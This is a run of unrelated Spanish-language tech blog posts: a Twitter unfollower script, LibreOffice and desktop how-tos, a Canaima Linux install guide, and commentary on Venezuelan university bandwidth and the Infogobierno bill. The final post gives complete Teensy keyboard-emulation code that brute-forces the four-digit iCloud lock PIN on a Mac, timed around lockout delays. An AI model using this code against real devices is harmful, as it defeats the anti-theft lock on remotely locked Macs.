Después de varios años decidí iniciarme en el mundo de Python y jugar un poco con el API de Twitter así que decidí hacer un programa en Python que compara tu lista de seguidores con tu lista de amigos para obtener una lista de las personas que tu sigues pero no te siguen. Es decir, quien te dejo de seguir en Twitter o como dicen en la red, quien te ha dado unfollow.

Como era mi primer intento decidí usar python-twitter que por lo que leí era la mas sencilla de usar. Para instalar este paquete de Python pueden ejecutar:

pip install python-twitter

El programa para listar unfollowers es este:

#!/usr/bin/python
#orvtech_no_me_sigue.py para API 1.0
import twitter

#Prepare the needed data for twitter's oauth

api = twitter.Api(consumer_key='<YOUR_CONSUMER_KEY_HERE>',
                  consumer_secret='<YOUR_CONSUMER_KEY_HERE>',
                  access_token_key='<YOUR_TOKEN_KEY_HERE>',
                  access_token_secret='<YOUR_TOKEN_SECRET_HERE>')

#Get followers by handle
followers = api.GetFollowers()
seguidores =[]

for u in followers:
  seguidores.append(u.screen_name)

#Get friends by handle
friends = api.GetFriends()
siguiendo =[]
for f in friends:
  siguiendo.append(f.screen_name)

#Get the list of people that you follow that but that are not in the followers list
unfollowers = list(set(siguiendo) - set(seguidores))
count_uncool = len(unfollowers)
print "Total friends not following you: " + str(count_uncool)
for uncool in unfollowers:
  print uncool + " " + "https://twitter.com/" + uncool

Como ven para poder ejecutar este programa y ver sus unfollowers deberán obtener una serie de datos de dev.twitter.com para autentificar su programa contra oauth. El producto de este programa se vera algo similar a esto:

Total friends not following you: 61
planetfedora https://twitter.com/planetfedora
twitter https://twitter.com/twitter
TwitterEng https://twitter.com/TwitterEng
twittercomms https://twitter.com/twittercomms
twitterapi https://twitter.com/twitterapi
fedora https://twitter.com/fedora
make https://twitter.com/make
dickc https://twitter.com/dickc
TwitterIO https://twitter.com/TwitterIO
TwitterSF https://twitter.com/TwitterSF
safety https://twitter.com/safety

Por ahora lo que quiero es exportarlo a una aplicacion web, si tienen sugerencias me las pueden dejar en los comentarios, me gustaría un poco de orientación de como hacer de este programa una aplicacion web.


UPDATE: Junio 20 del 2013

Con la salida de el API 1.0 de Twitter el código que esta arriba queda obsoleto y rápidamente alcanza el limite de peticiones de la API. El codigo a continuación trabaja perfectamente con la API versión 1.1 siempre y cuando no tengas mas de 5000 seguidores o mas de 100 personas que no te siguen.

#!/usr/bin/python
#orvtech_no_me_sigue.py para API 1.0
import twitter

#Prepare the needed data for twitter's oauth
api = twitter.Api(consumer_key='<YOUR_CONSUMER_KEY_HERE>',
                  consumer_secret='<YOUR_CONSUMER_KEY_HERE>',
                  access_token_key='<YOUR_TOKEN_KEY_HERE>',
                  access_token_secret='<YOUR_TOKEN_SECRET_HERE>')

followers = api.GetFollowerIDs()
friends = api.GetFriendIDs()

unfollowers = list(set(friends) - set(followers))
count_uncool = len(unfollowers)
nombre = api.UsersLookup(user_id=unfollowers)

print "Total friends not following you: " + str(count_uncool)

counter = 0
for uncool in nombre:
  print nombre[counter].name + " https://twitter.com/" + nombre[counter].screen_name
  counter += 1
En esta oportunidad venimos a mostrarles como de forma práctica y sencilla pueden cambiar la paleta de colores de LibreOffice y todas las aplicaciones que la componen, esto en caso de querer cambiar los colores que vienen por defecto en la aplicación.
Resulta tan sencillo como reemplazar el archivo llamado standar.soc que se encuentra en el directorio /home/Carpeta Personal/.config/libreoffice/4/user/config  (el número 4 puede variar de acuerdo a la versión que se tenga instalada).
Los pasos a seguir para realizar esta acción, serían los siguientes:
1.- Copiar el archivo standar.soc, que viene por defecto y guardarlo en otra directorio (para tenerlo como respaldo)
2.- Buscar la nueva paleta de colores a colocar y cambiarle el nombre a standar.soc (si no tiene este nombre)
3.- Copiar la nueva paleta y pegarla en la ubicación antes mencionada (/home/Carpeta Personal/.config/4/user/config )
4.- Cerrar LibreOffice (si se tiene abierto), volver abrirlo y listo...

Con estos sencillo pasos ya tendrás tu nueva paleta que la puedes ver tanto en la barra de Herramientas como en la sección Fondo del Menú Formato → Párrafo, como se muestra en la imagen a continuación.
Hacer clic para ampliar imagen
Ahora por su puesto, viene la pregunta y de dónde saco las paletas, pues en el Centro de Extensiones de LibreOffice se encuentran unas que puedes descargarlas desde aquí, recomendada 100% por ser parte de sus mismos paquetes (y fue la usada para el ejemplo) y en la web también se pueden encontrar otras ya probadas por otros usuarios (ejemplo, aquí), y así de sencillo puedes tener una gama mas completa de colores para usar en tu Suite Ofimática favorita.

Si tienen algún comentario, opinión o sugerencia nos pueden escribir a consulta_friki@kioscofriki.com.ve 
 Y recuerda, si esta información te ayudó y quieres colaborarnos económicamente puedes hacer tu donación aquí
Como la mayor parte de las horas del día en la semana, las paso en la oficina a la casa prácticamente llego a dormir, me decidí a dedicarme un poquito acomodar el escritorio que veo y uso a diario, antes me dedicaba mucho a cambiar mis escritorios (pueden ver otros aquí) pero luego me cambiaron un poco los entornos y dejé de hacerlo.
La idea no fue de mi propia inspiración, vi una idea similar en el blog I Heart Organizing y de allí comencé a organizar lo que se me iba ocurriendo, escogiendo un contorno para cada grupo de carpetas, otra área para los iconos otro para mensajitos que coloco a veces en mi escritorio, y un espacio para cuando se montan los pen drives, a los que también les tengo imágenes particulares, dejé un espaciotote en medio que aún no se que haré con él, pero pronto llegarán otras ideas, y como complemento le coloqué una barra que me encanta y que había olvidado que existía (para aquellos que quieran saber como instalar la barra y configurarla pueden leerlo aquí).
Mi Escritorio en la Oficina, por el momento ;-)
clic para ampliar la imagen

En esta oportunidad les vamos hablar referente a una aplicación muy sencilla de instalar, configurar y usar, por medio de la cual se puede colocar una barra bastante interactiva, en cualquiera de los bordes de nuestros escritorios, para así poder manejar y gestionar los accesos a las aplicaciones, carpetas y controles que estamos acostumbrados a utilizar diariamente en nuestros equipos. Esta aplicación se llama Navegador de Ventanas Avant (en inglés, Avant Windows Navigator)

Como siempre para empezar debemos abrir la terminal y realizar la instalación de la aplicación de la siguiente manera:
  sudo aptitude install avant-window-navigator  

Al culminar la instalación se debe buscar en el menú Accesorios -> Navegador de Ventanas Avant
Esto ejecutará una barra pequeña en la parte inferior de la pantalla, la cual podrá ser configurada en base a lo que se necesite.

Situándose en la barra y haciendo clic en el botón derecho del ratón, se presenta un pequeño menú donde se deberá hacer clic en la opción Preferencias de Empotrado, esto mostrará una ventana emergente en donde se podrán realizar las configuraciones que el usuario requiera.

La primer opción con la que se cuenta es con las Preferencias, allí se puede modificar el tamaño de los iconos de la barra, el lugar donde se requiere que esté ubicada, los movimientos y efectos que se quiere que tenga cada uno de los íconos que se mantengan en la barra, entre otros. La segunda opción presente es el Gestor de Tareas, en el se pueden colocar todas las aplicaciones que se requieran en la barra, la forma mas cómoda de hacerlo es arrastrar desde la barra de menú la aplicación y colocarla en el espacio correspondiente a los lanzadores, así mismo de esta sección se puede activar o desactivar el comportamiento que se quiera que tengan.
clic para ampliar la imagen
La tercera opción que se tiene en esta ventana es la de Miniaplicaciones, aquí se cuenta con una serie de aplicaciones las cuales pueden colocar también en la barra y presentan atajos o notificaciones propias del sistema, todas ellas se pueden ir organizando de acuerdo a como se quiere que estén acomodados en la parte inferior de esta sección. La cuarta opción que se presenta es de Temas, allí se puede seleccionar el tema/color que se quiere que tenga la barra de Avant.
clic para ampliar la imagen
Luego de concluida con la configuración de la barra, se da clic en el botón Cerrar y ya se tiene listo el Navegador de Ventanas Avant para comenzar a usarlo, a continuación les coloco un ejemplo de la que tenemos instalada en uno de los equipos, para mayores referencia esta máquina tiene instalado como entorno de trabajo Gnome-Panel (si quieren conocer el proceso de instalación pueden leerlo aquí)
clic para ampliar la imagen
Si tienen algún comentario, opinión o sugerencia nos pueden escribir a consulta_friki@kioscofriki.com.ve
 Y recuerda, si esta información te ayudó y quieres colaborarnos económicamente puedes hacer tu donación aquí

Actualización [2013-05-11 14:31:11 UTC-0430]: Justamente 1 día antes de producirse esta noticia en Venezuela, en Chile anuncia el REUNA (el Reacciun chileno) que cuadruplicaron su capacidad hasta 1.35Gbps hacia el extranjero para que los investigadores y científicos tengan más con que trabajar, así como anunciaron que han unido más universidades con IXPs locales.

Actualización [2013-05-10 22:22:16 UTC-0430]: Para entender un poco más de cómo funciona el internet pueden ver este vídeo precisamente sobre IXP y de donde sale el internet junto a sus interconexiones.

Hoy ha salido a relucir, gracias a @uraisa, que el CENIT reducirá el ancho de banda a las universidades venezolanas, mediante orden de la OPSU.

Un poco de background sobre la red universitaria

El CENIT ofrece -- entre varios otros servicios -- un enlace dedicado a la Red Académica venezolana llamada Reacciun. Esta red es lo que se llama un NREN, un ISP dedicado a apoyar las necesidades de las comunidades de investigación y educación en un país.

No entiendo cómo degradar un servicio apoya las necesidades de comunidad alguna, mucho menos de investigación y educación donde más bien se necesita estar adelantados al resto de los servicios para permitir la innovación.

La excusa

Según un monitoreo que hicieron desde la OPSU, aún sin publicar, se subutiliza el ancho de banda y debido a eso decidieron «sincerar» su uso, porque muchas universidades no lo «aprovechan adecuadamente».

¿Pero qué es el ancho de banda digital?

El ancho de banda es la capacidad máxima de transferencia entre un punto y otro. Esta capacidad depende de la infraestructura instalada, por lo cuál el ancho de banda en una red hogareña cableada suele estar entre los 10Mbps y los 100Mbps, pero cuando hacemos uso del internet nuestro ISP limita el ancho de banda basado en cuanto hemos contratado y esos planes están limitados por su propia capacidad instalada. Es decir, para que CANTV mejore sus planes tiene que crear una mejor infraestructura y comprar más tráfico a algún Internet Transit Provider o crear un enlace a algún Internet Exchange Point (o IXP, el cuál suele salir mucho más barato que un Internet Transit Provider, pues consiste en hacer peering en una infraestructura común y evitar pasar por un Transit Provider).

Ahora, si Reacciun es una red propia, con una capacidad de ancho de banda instalada ya, suficiente para proveer el actual ancho de banda, y el Internet Transit Provider o IXP limita es la cantidad de datos consumidos y no el ancho de banda, que está limitada sí por la capacidad instalada en el enlace Reacciun/ISP ➜ ITP/IXP (es decir, cuánta data por segundo aguanta el cable que conecta Reacciun a su proveedor de tráfico), ¿entonces cuál es la verdadera razón para bajar el ancho de banda?

¿Por qué no más bien se conectan a otro IXP o cobran bajo consumo?

Es difícil ver un aumento en el costo de mantener una infraestructura ya montada, siendo el costo mayor siempre la creación y no el mantenimiento.

Si se está cobrando por un servicio donde sobra capacidad significa que se está cobrando demás, deberían más bien bajar los precios ¿no? O invertir ese extra en conectarse a otro IXP y aumentar el tráfico por peering y abaratar aún más los costos mientras se mejora el servicio.

O incluso, para sincerar, cobren simplemente por consumo y no por ancho de banda, dejen que las universidades puedan conectarse tan rápido como les permita su hardware.

¿Por qué no mejor implementan IPv6?

Son un NREN, deberían estar adelantados. Más cuando sus clientes son tan pocos a nivel tal que pueden reunirse con todos ellos en una sala.

¿Por qué propongo mejorar el ancho de banda?

Porque es falso que las universidades no la usen, más bien ha sido una limitante constante. Raisa muy bien lo dice en su artículo y cuando fui estudiante en la UNET también era un punto que surgía una y otra vez al proponer servicios con salida al internet.

Les explico: proponer un repositorio Debian al que se tenga acceso desde la internet en una universidad venezolana es casi prohibitivo, sólo la ULA tiene uno. Mientras que en otros países es precisamente la academia la que ha prestado apoyo a la comunidad open source para replicarse y tener infraestructura donde desarrollarse.

De igual forma, la limitación de ancho de banda ha hecho que en muchas universidades se apliquen reglas de calidad del servicio para evitar el abotellamiento de paquetes en la red.

¿Y nos van a decir que no se usa? ¡Si más bien la poca que hay es una enorme limitante para más y mejores desarrollos!

Degradar un servicio es retrógrado

Es retrógrado degradar un servicio, es retrógrado ofrecer peor conexión, es retrógrado cuando hay más y más data cada vez rondando en la internet. Es retrógrado cuando entramos en la era de la BigData y no se puede hacer uso de ella porque nos están limitando más en vez de ampliar capacidad. Es retrógrado porque la capacidad instalada para soportar esto ya está instalada.

Es retrógrado, es absurdo y habla mucho de las intenciones del gobierno para con las universidades: atraso.

Actualización 2013-05-08 13:19:26 UTC-0430: Erróneamente dije que desde el 2013 la Ley del Registro Civil contempla la digitalización del registro civil, es desde finales de 2009, fecha en la cuál fue aprobada la ley.

Mi intención desde el principio era asistir a las discusiones públicas del proyecto de Ley de Infogobierno, pero dado que la fecha se aproxima y mi agenda no se desocupa, no podré estar.

A pesar de eso, estoy condensando mis observaciones en este post para que, idealmente, lo lean en las discusiones públicas que se den.

¿Basado en software libre?

Lo primero que me preocupa es el uso de la frase «basado en software libre» en vez de «ser software libre». El software usado en la administración pública venezolana tiene que ser software libre, no basado. ¿Por qué no dejar el «basado en»? Porque hay licencias de software libre como la MIT y la BSD que permiten el relicenciamiento de código derivado a cualquier otra licencia, entre las cuáles se incluyen licencias cerradas.

Igualmente, el artículo 12 debería obligar a la autoridad competente a publicar ese registro de programas informáticos que poseen los poderes públicos venezolanos, en conjunto con su licenciamiento y proveedores. Esto es vital sobretodo en las excepciones que permite el artículo 51. Necesitamos transparencia, necesitamos saber qué software se está usando que no es software libre y qué razones se dieron. Igualmente se necesita un mecanismo para apelar estas excepciones previamente y posterior a su otorgamiento.

(Artículo 35)

Sobre la "transferencia del conocimiento asociado para su comprensión"

Hay una apreciación errónea sobre las libertades en los programas libres, en la ley aparece repetidamente la frase «y la transferencia del conocimiento asociado para su comprensión» en conjunto con la definición de software libre. Esto no es cierto y de hecho se contradice con lo escrito en muchas licencias de software libre, que el software es entregado «AS IS», sin garantías de que funcione y con cláusula de desprendimiento de responsabilidad en caso de que algo funcione mal y cree un gran problema (o incluso un pequeño problema). Además transferir el conocimiento asociado para su comprension requeriría que el programa el enseñara a las personas a programar, pues si alguien no programa no lo comprenderá, o hacer una documentación extensiva de la aplicación lo cuál no es cierto. Entiendo que esto esta incluído en la multitud de contratos que ha tenido el gobierno con proveedores, pero ahí es donde pertenece, en los contratos, no en la ley de infogobierno, mucho menos en las deficiones sobre software libre.

El artículo 36 incluso lo dice explícitamente como parte de las «Licencias», cuestión que en ninguna licencia de software libre actual podrán encontrar.

(Artículo 36)

Queremos más transparencia

Lo poco que llegamos a ver sobre transparencia no obliga en ninguna forma a nadie a publicar. No sólo no obliga sino que en las partes donde no se limita a citar una ley que regula el acceso a la información pública, lo que hace es pedir a burócratas quienes históricamente no han sido transparentes en sus actuaciones a que promuevan la transparencia (41.5); por lo que tendremos que unirnos a las propuestas de Espacio Público y Transparencia Venezuela para lograr más en ese campo, quienes ya entregaron un proyecto de Ley Orgánica de Transparencia y Acceso a la Información Pública.

¿Cómo es la cooperación?

El artículo 30 habla del principio de cooperación entre el Poder Público y el Poder Popular, sin embargo, nada dice de cómo debe ejercerse esto. Dejar este tema para el reglamento de la ley es excluir al poder popular de voz al momento de establecer los mecanismos para esta cooperación. Ha sido histórico el conflicto Poder Popular vs. Poder Público en este tema, incluso entre grupos del mismo factor político, por lo que establecer de inmediato en la ley, que es consultada al pueblo, los mecanismos daría certeza y una gran muestra de verdadero deseo cooperativo.

Es excluyente

Y este no es un problema de esta ley nada más, es un problema de interpretación de quién es el Poder Popular. Según la interpretación del gobierno nacional y la mayoría de los gobiernos regionales el Poder Popular sólo está representado mediante los consejos comunales y las comunas. Aquí quedan por fuera las comunidades organizadas en esquemas diferentes a consejo comunal/comuna, mucho menos las ONGs. Esto hace que la colaboración y cooperación entre pueblo y gobierno se vea limitado a solo los que componen y coinciden en ese «Poder Popular». Se está excluyendo a los que no participan y se deja de apreciar las cooperaciones por su valor para pasar a apreciarse por su origen.

Del comité de tecnología sin tecnólogos

El anteproyecto contempla la creación de un Comité Nacional para el Uso de Tecnologías de Información, cuyo fin sería promover y consolidar el uso y aprovechamiento de las TI en la APN. ¿Quienes espera uno que conformen ese comité? Personas expertas en promover el uso y expertas en uso de TI, sin embargo, está conformado por burócratas que si acaso serán usuarios casuales de TI, y que de todos sólo uno es de la materia de TI (el Ministro con competencia en tecnología de información).

¿Qué puede lograr un comité que no tiene ni idea de lo que le corresponde promover? Y no es sólo promover, ¡inclusive le corresponde «establecer lineamientos y estrategias pra el desarrollo de las tecnologías de información»! (41.2)

Sí, hay «unidades de apoyo», pero ¿por qué no son esas unidades de apoyo los miembros permanentes de ese comité y los que toman las decisiones? ¿Por qué hay que seguir dependiendo de la cima de la pirámide jerárquica para tomar decisiones si la idea es ir aplanando esa pirámide y volver las decisiones tan horizontales como sean posibles? ¿Por qué darle más funciones a burócratas que ya no son capaces de cumplir a cabalidad con las funciones que tienen asignadas? ¿Qué eficiencia se puede esperar entonces?

Y si la excusa es que se necesitan tomar decisiones políticas entonces les recuerdo que las cabezas de los ministerios no se llenan con personas capaces en la materia sino ya están son personas que tomen decisiones políticas y no técnicas, los técnicos son los asesores.

(Artículo 39 en adelante).

Los conflictos de competencia

El capítulo I del título III tiene conflicto absoluto con el capítulo II del mismo título (inclusive con el capítulo III donde habla del CNTI). Este segundo capítulo empodera con capacidad de decisión al ministerio con competencia en tecnologías de información, sin embargo, tiene mucha de las mismas competencias que el comité de tecnología sin tecnólogos.

Sin competencias claras no es que se hacen las cosas 2 y 3 veces sino que ¡no se hacen y se tienen 2 y 3 excusas!

Queremos privacidad

En la ley se menciona que todas las actuaciones se harán bajo el respeto a la vida privada y confidencialidad de los ciudadanos, sin embargo, esto sólo es demostrable si las actuaciones del poder público son auditables. Más cuando el artículo 53 en su numeral 9 permite a la SUSCERT «Extraer, revisar y analizar las trazas y bitácoras de equipos y herramientas de redes.», siendo evidente que estas incluyen las de CANTV y probablemente cualquier otro ISP. Tiene que ser pública la razón de esa extracción de datos así como la información a menos que amerite ser privado. La única forma de que se extraiga información privada sobre un ciudadano debería ser por solicitud judicial y para atender una causa ya en proceso.

Sobre la homologación de equipos y aplicaciones con soporte criptográfico

Aquí hace falta ser más explícito. Dice que la certificación tendrá una duración de tres años pero ¿esto soporta cambio de versiones? ¿Qué cambios se cubren y qué cambios no? ¿Qué hace que una aplicación o equipo califique para que se haga de nuevo la revisión para la homologación?

Correcciones menores

  • Artículo 5.2: Documento electrónico no es un documento digitalizado, es un documento digital.
  • Artículo 27: la certificación solicitada para documentos que deberían ser impresos por ley debe aplicar a todos los documentos electrónicos, incluso aquellos que no estén destinados por ley a ser impresos. Otorgar una certificación y un repositorio digital desde donde se pueda bajar una copia para la comprobación de su autenticidad es básica para dejar atrás el ciclo del papel.

Finalmente

Queremos realidades, no leyes bonitas. Desde el 2009 la Ley del Registro Civil contempla la digitalización del registro civil venezolano, la otorgación de un número único de identidad desde el nacimiento a los venezolanos y la vacatio legis era de 12 meses apenas.

Ya es mitad del año 2013 y nada de esto está si quiera en los planes de los burócratas.

No queremos una ley que esté hecha a medida del gobierno, un gobierno que le encanta la propaganda, firmar papelitos y mostrarlos como hechos. Queremos hechos que se hagan conocidos porque son realidad no porque los repiten y los repiten en los micros del gobierno pero que al ir a una institución pública no tienen ni idea de qué se les está hablando. (Que es lo que pasa con los registros y la ley del Registro Civil).

Comentarios a @joseluisrivas o @ghostbar.

Hace unos meses les mostramos la manera de instalar la Distribución Nacional Venezolana Gnu/Linux Canaima (pueden ver la publicación aquí), pero en su nueva versión 3.1 Auyantepui, cambia un poco el proceso de instalación por lo menos visualmente y puede generar un poco de confusión. 

Por esta razón hemos decidido hacer una nueva publicación al respecto mostrándole los pasos correspondientes para esta nueva versión. En esta instalación que le presentaremos no se explicará el proceso de particiones manualmente, sino que se hará tomando el disco completo que es la forma mas sencilla de realizarlo. Para aquellos que quieran realizar particiones por separado (manualmente) pueden leer la publicación que hicimos de UBUNTU, que allí presentamos el proceso detalladamente y no varía mayormente con respecto a Gnu/Linux Canaima. 
Cualquier duda, comentario o información pueden escribirnos a consulta_friki@kioscofriki.com.ve
Para comenzar al cargar el disco se presenta un menú de donde se debe seleccionar la primera opción que es "Probar e instalar", luego de esto se espera a que cargue el disco de arranque.
Clic para ampliar
Al iniciar sesión pueden hacer las pruebas preliminares del Sistema Operativo, en lo que se llama una sesión en vivo, y así ver las opciones con las que se cuenta, así mismo les presenta una bienvenida y una breve descripción de las diversas aplicaciones (imagen a la izquierda). Luego de terminar el recorrido y las pruebas, para comenzar con la instalación del sistema deberán hacer clic en el icono que se encuentra en el escritorio con el nombre "Instalar Canaima GNU/Linux" (imagen a la derecha).
Clic para ampliar
Esto abrirá un asistente de instalación que los guiará a través de todo el recorrido, la primera pantalla que se presenta es de Bienvenida y especifica los requerimientos mínimos que debería tener el equipo donde se realizara la instalación, para continuar se debe hacer clic en el botón Adelante (imagen a la izquierda). La siguiente pantalla es para seleccionar el tipo de teclado que se tiene instalado en el equipo, allí se presenta un menú desplegable en el cual se puede escoger el tipo de teclado, así mismo cuenta con un cuadro de texto, donde se puede verificar que funcione adecuadamente, para continuar se debe hacer clic en el botón Adelante o en caso de querer regresar se puede hacer clic en el botón Atrás (imagen a la derecha).
Clic para ampliar
En la siguiente ventana se deberá seleccionar el disco donde se realizara la instalación y en el menú de la parte inferior, seleccionar el tipo de instalación que se realizará, en este caso seleccionamos Instalar usando todo el disco, pero se cuenta con dos opciones adicionales Instalar editando particiones manualmente con la cual podrán colocar las particiones del disco de acuerdo al tamaño requerido y la última opción Instalar usando espacio libre disponible la cual permite instalar en el espacio restante si ya se encuentra otro sistema operativo instalado, para continuar se debe hacer clic en el botón Adelante o en caso de querer regresar se puede hacer clic en el botón Atrás (imagen a la izquierda). En la siguiente ventana se podrá seleccionar la manera como requiere que se presenten las particiones, todas juntas o separando alguna de ellas, para la instalación que nosotros estamos realizando seleccionaremos Instalar todo en una sola particiónpara continuar se debe hacer clic en el botón Adelante o en caso de querer regresar se puede hacer clic en el botón Atrás (imagen a la derecha).
Clic para ampliar
En la siguiente ventana deberá colocar la contraseña de Administrador, el nombre del equipo, el nombre del usuario y la contraseña del usuario creado, para continuar se debe hacer clic en el botón Adelante o en caso de querer regresar se puede hacer clic en el botón Atrás (imagen a la izquierda). Para finalizar, presenta un resumen de las opciones antes escogidas, si se esta de acuerdo se debe hacer clic en el botón Adelante o en caso de querer regresar se puede hacer clic en el botón Atrás (imagen a la derecha)

Clic para ampliar
Luego de esto, solo se debe esperar a que realice el proceso de instalación para reiniciar el equipo y comenzar a utilizar tu Sistema Operativo GNU/Linux Canaima, en su version Auyantepui.


Y recuerda si esta información te ayudó y quieres colaborarnos económicamente puedes hacer tu donación aquí
Hace unos dias Guillermo Burastero me llamó para comentarme que le habían pedido una nota en el diario local de Bahía Blanca, La Nueva Provincia, para que habláramos de software libre. La entrevista se concretó y he aquí el resultado (y acá en PDF).

Hice algunas menciones a Debian, pero bueno, no todo es posible a veces :-)

Tip: los nombres no coinciden con las fotografías. Les dejo adivinar el orden correcto ;-)
El sábado 20 de Abril se va a llevar a cabo el Hardware Freedom Day en todo el mundo, y Argentina no es excepción. Este año tenemos la suerte que se realice en dos lugares: La Plata (que cuenta con Alejo como uno de los coordinadores) y Buenos Aires.

A mi me van a quedar un poco lejos, pero invito al que pueda a acercarse al evento.

No se lo pierdan :-)

Recientemente escribí sobre como llevar a cabo un ataque de fuerza bruta contra el bloqueo del EFI de una Mac y aunque al principio no logre lo que quería fue solo cuestión de horas para que alguien revisara mi código y se diera cuenta del bug que lo afectaba. Hoy en día el código funcional al 100% y ya se han desbloqueado varias Mac usando este procedimiento.

Cuando una computadora Apple es bloqueada remotamente desde un dispositivo iOS esta recibe un PIN numérico de 4 dígitos a través del iCloud. El bloqueo es tanto a nivel de OS como de EFI (su BIOS). El articulo que comentaba anterior mente se enfoca en el bloqueo del EFI mientras que este se enfocara en el del OS también conocido como PIN de iCloud.

A la Izquierda (Logo de Apple)  se puede ver la pantalla de iCloud y a la derecha (con el Candado) la del EFI

A la Izquierda (Logo de Apple) se puede ver la pantalla de iCloud y a la derecha (con el Candado) la del EFI.

Tras un poco de ensayo y error y con ayuda de la comunidad de MacRumors logre modificar el Sketch de la Teensy 3 para que pudiese atacar PIN del iCloud, aquí les dejo el código:

#include <usb_keyboard.h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.

const int ledPin = 13;
int counter = 0;

//waits for iCould
int firstloop = 0;
int secondloop = 0;
int thirdloop = 0;
boolean firstcompleted = false;
boolean secondcompleted = false;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
  pinMode(ledPin, OUTPUT);
  delay(10000);
  digitalWrite(ledPin, LOW);
}

void loop(){
  keyboard_modifier_keys = 0;
  //lets wait 1minute and 1 second
  if (firstloop >= 5){
    delay(61000);
    firstcompleted = true;
    digitalWrite(ledPin, LOW);
  }
  else if ((firstloop < 5) && (firstcompleted == false)){
    digitalWrite(ledPin, HIGH);
    ++firstloop;
    digitalWrite(ledPin, LOW);
  }
  //lets wait 5 minutes and one second
  if ((secondloop >= 1) && (secondcompleted == false) && (firstcompleted == true)){
    delay(301000);
    secondloop = 0;
    secondcompleted = true;
    digitalWrite(ledPin, LOW);
  }
  else if ((secondloop < 1) && (secondcompleted == false) && (firstcompleted == true)){
    ++secondloop;
    digitalWrite(ledPin, LOW);
  }
  //lets wait 15 minutes and 1 second
  if ((thirdloop >= 1) && (secondcompleted == true)){
    delay(901000);
    thirdloop = 0;
    secondcompleted = false;
    firstcompleted = false;
    firstloop = 0;
    secondloop = 0;
    thirdloop = 0;
    digitalWrite(ledPin, LOW);
  }
  else if ((thirdloop < 1) && (secondcompleted == true)){
    ++thirdloop;
    digitalWrite(ledPin, LOW);
  }
  //lets get to work
  if (counter <= 9999){
    delay(100503);
    digitalWrite(ledPin, LOW);
    delay(7049);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_ENTER);
    delay(405);
    Keyboard.release(KEY_ENTER);
    digitalWrite(ledPin, LOW);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

La versión actualizada de este sketch para Teensyduio siempre estará en https://github.com/orvtech/efi-bruteforce Yo voy a tratar de mantener también esta pagina al día.

Siéntanse libres de clonarlo, hacer forks y contribuir.

Un miembro de la comunidad de MacRumors hizo una versión mas simple y elegante de este que lo pueden ver aquí: How to: Unlock System Lock PIN Code.

Supongo que con un botón y poca modificación del código se podrían tener las dos lógicas dentro de un Teensy para atacar ambos bloqueos sin necesidad de programarlo.